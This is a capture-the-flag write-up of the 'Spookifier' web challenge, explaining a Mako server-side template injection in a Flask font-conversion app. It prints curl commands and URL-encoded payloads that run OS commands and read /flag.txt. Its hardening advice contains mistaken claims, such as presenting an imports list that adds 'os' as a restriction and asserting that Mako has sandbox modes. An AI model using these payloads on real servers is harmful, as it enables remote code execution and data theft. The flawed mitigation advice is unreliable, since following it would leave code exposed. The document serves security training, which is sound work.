2022 Hack The Boo: Spookifier

Challenge Information

AttributeDetails
Event2022 Hack The Boo
CategoryWeb
ChallengeSpookifier

Summary

This Flask application implements a text transformation tool that converts text to “spooky” Unicode fonts using the Mako template engine. The vulnerability lies in the generate_render() function, which uses Mako’s Template().render() to process user-controlled input without escaping. By injecting Mako template syntax (expressions and code blocks), an attacker can achieve remote code execution and retrieve the flag.


Analysis

Application Overview

The application provides:

  • A web interface to enter text
  • A spookify() function that converts text to multiple spooky fonts
  • A generate_render() function that creates an HTML table with the converted fonts

Vulnerable Code

Located in /challenge/application/util.py:

def generate_render(converted_fonts):
result = '''
<tr>
<td>{0}</td>
</tr>
<tr>
<td>{1}</td>
</tr>
<tr>
<td>{2}</td>
</tr>
<tr>
<td>{3}</td>
</tr>
'''.format(*converted_fonts)
return Template(result).render()
def spookify(text):
converted_fonts = change_font(text_list=text)
return generate_render(converted_fonts=converted_fonts)

The Vulnerability: The converted_fonts list is passed to .format() which creates an HTML string, then that entire string is passed to Template(result).render() without sanitization. If any of the converted fonts contain Mako template syntax, it will be interpreted and executed.

Root Cause Analysis

The change_font() function transforms input text using font dictionaries:

def change_font(text_list):
text_list = [*text_list]
current_font = []
all_fonts = []
add_font_to_list = lambda text,font_type : (
[current_font.append(globals()[font_type].get(i, ' ')) for i in text],
all_fonts.append(''.join(current_font)),
current_font.clear()
) and None
add_font_to_list(text_list, 'font1')
add_font_to_list(text_list, 'font2')
add_font_to_list(text_list, 'font3')
add_font_to_list(text_list, 'font4')
return all_fonts

The font4 dictionary maps characters to themselves:

font4 = {
'A': 'A',
'B': 'B',
# ... all characters unchanged ...
'(': '(',
')': ')',
'{': '{',
'}': '}',
# ... etc ...
}

Insight: Characters like $, {, }, (, ), and $ are preserved in font4. This means if we input text containing Mako template syntax, it will remain intact through the font transformation and be evaluated by the template engine.

Mako Template Syntax

Mako uses these syntax patterns:

  • ${} or ${expression} - Expression evaluation
  • <%...%> - Code blocks
  • <%def> - Function definitions
  • <% import os %> - Import statements

The vulnerability allows injecting any of these.

Request Flow

  1. User sends GET request to / with text parameter
  2. spookify(text) is called from the route handler
  3. change_font() transforms text through font dictionaries
  4. generate_render(converted_fonts) formats the result string
  5. Template(result).render() executes the string as a Mako template
  6. The rendered HTML is returned to the user

Route Handler

From /challenge/application/blueprints/routes.py:

@web.route('/')
def index():
text = request.args.get('text')
if(text):
converted = spookify(text)
return render_template('index.html', output=converted)
return render_template('index.html', output='')

The text parameter is user-controlled and passed directly to spookify().


Solution

Exploitation Steps

Step 1: Verify the Vulnerability

Send a simple test:

Terminal window
curl "http://target/?text=test"

This should show spooky fonts. No injection occurs yet.

Step 2: Inject Mako Expression

Mako expressions are evaluated using ${} syntax:

Terminal window
curl "http://target/?text=\${7*7}"

If vulnerable, the page will contain 49 instead of spooky fonts.

Step 3: Exploit for Code Execution

Use Mako’s ability to execute Python code through expressions:

Terminal window
curl "http://target/?text=\${__import__('os').system('id')}"

Or use a code block:

Terminal window
curl "http://target/?text=<% import os; os.system('cat /flag.txt') %>"

Step 4: Retrieve the Flag

Since we need output, use:

Terminal window
curl "http://target/?text=\${open('/flag.txt').read()}"

This will:

  1. Execute Python’s open() function
  2. Read the flag file
  3. Return its contents in the page

Step 5: Payload Construction

For URL encoding, inject:

${__import__('os').popen('cat /flag.txt').read()}

URL encoded:

%24%7B__import__('os').popen('cat%20/flag.txt').read()%7D

Full request:

Terminal window
curl "http://target/?text=%24%7B__import__('os').popen('cat%20/flag.txt').read()%7D"

Step 6: Alternative Payloads

If open() is restricted, use other approaches:

Mako import statement:

<% import os; result = os.popen('cat /flag.txt').read() %>
${ result }

File operations:

${().__class__.__bases__[0].__subclasses__()[104].__init__.__globals__['_']['file']('/flag.txt').read()}

Simpler approach - direct execution:

<%
import os
flag = os.popen('cat /flag.txt').read()
%>
${ flag }

Step 7: Response Analysis

The flag will be rendered in the HTML response within the table cells. The output might look like:

<tr>
<td>HTB{spooky_template_injection_flag}</td>
</tr>

Key Takeaways

  • Never render user input as template code - Always escape and sanitize template variables
  • Use safe modes - Mako has strict mode options to disable dangerous operations
  • Separate data from code - Never mix user-controlled data with template syntax
  • Input validation - Whitelist allowed characters (alphanumeric only if possible)
  • Template autoescape - While this app uses Mako, Flask’s Jinja2 has autoescape=True which doesn’t help here since the injection is at the template syntax level, not HTML context
  • Use template sandboxing - Mako offers restricted/sandbox execution modes:
    template = Template(result, imports=['os']) # Restrict imports
  • Code review - Template injection is often missed in security reviews because template engines are trusted
  • Content Security Policy (CSP) - Won’t help with server-side execution but can mitigate client-side risks
  • Monitor template processing - Log and alert on suspicious template operations

Defensive Coding Example

def generate_render_safe(converted_fonts):
# Don't use Template.render() on user-influenced strings
result = '<table><tr>'
for font in converted_fonts:
# Use literal strings, not template processing
result += f'<td>{escape(font)}</td>'
result += '</tr></table>'
return result